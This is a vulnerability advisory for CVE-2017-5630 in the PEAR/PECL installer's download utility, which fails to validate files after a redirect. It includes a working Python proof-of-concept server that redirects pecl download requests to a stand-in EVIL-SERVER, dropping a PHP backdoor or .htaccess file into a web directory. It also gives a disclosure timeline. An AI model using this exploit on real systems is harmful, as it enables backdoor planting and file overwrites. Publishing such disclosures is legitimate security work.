[+]############################################################################################# [+] Credits / Discovery: John Page AKA hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/PEAR-ARBITRARY-FILE-DOWNLOAD.txt [+] ISR: ApparitionSEC [+]############################################################################################# Vendor: ============ pear.php.net Product: =================================== PEAR Base System v1.10.1 PEAR Installer's download utility Vulnerability Type: ======================= Arbitrary File Download CVE Reference: ============== CVE-2017-5630 Security Issue: ================ The download utility class in the Installer in PEAR Base System v1.10.1, does not validate file types and filenames after a redirect, which allows remote HTTP servers to overwrite files via crafted responses, as demonstrated by a .htaccess overwrite. e.g. pecl download <http://some-vuln-server/file.tgz> PEAR does not rename the arbitrary invalid file to the originally requested (safe) filename. Therefore, attackers can overwrite files or download a backdoor if the PECL request is made from from web accesible directory etc.. Moreover, PECL doesn't delete these invalid files upon download, giving the attacker time to exploit it if attackers can force the HTTP connection to stay open, and before a "invalid file message" is noticed. POC Video: https://vimeo.com/201341280 Proof of concept: This POC involves 3 machines: First machine is victim making a PECL download command request Second is the vuln server receiving the file download request Third is the malicious server hosting the PHP backdoor, .htaccess file etc. =========================================================================== 1) Victim machine attempts to download a legit ".tgz" archive. pecl download http://VULN-SERVER:8080/Test.tgz 2) VULN-SERVER where the victim is requesting "Test.tgz", and attacker controls HTTP response. 3) EVIL-SERVER where PECL follows and downloads 'unintended' Evil.php backdoor. python -m SimpleHTTPServer 8888 On VULN-SERVER run "PECL-File-Exploit.py" python PECL-File-Exploit.py import socket HOST='localhost' PORT=8080 TARGET='http://EVIL-SERVER:8888/' FILE='.htaccess' s = socket.socket() s.bind((HOST, PORT)) s.listen(10) print 'Waiting for PECL connections...' while True: conn, addr = s.accept() junk = conn.recv(512) conn.send('HTTP/1.1 302 Found\r\n') conn.send('Location: '+TARGET+FILE+'\r\n') conn.close() s.close() Then, make request for Test.tgz... C:\xampphtdocswebapp>pecl download http://VULN-SERVER:8080/Test.tgz downloading Evil.php ... Starting to download Evil.php (4,665 bytes) .....done: 4,665 bytes File C:\xampphtdocswebappEvil.php downloaded Disclosure Timeline: ===================================== Vendor Notification: January 11, 2017 Informed "PECL package no longer maintained" : January 23, 2017 Opened Bug #2117 : January 25, 2017 January 29, 2017 : Public Disclosure Network Access: ================ Remote Severity: ========= High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx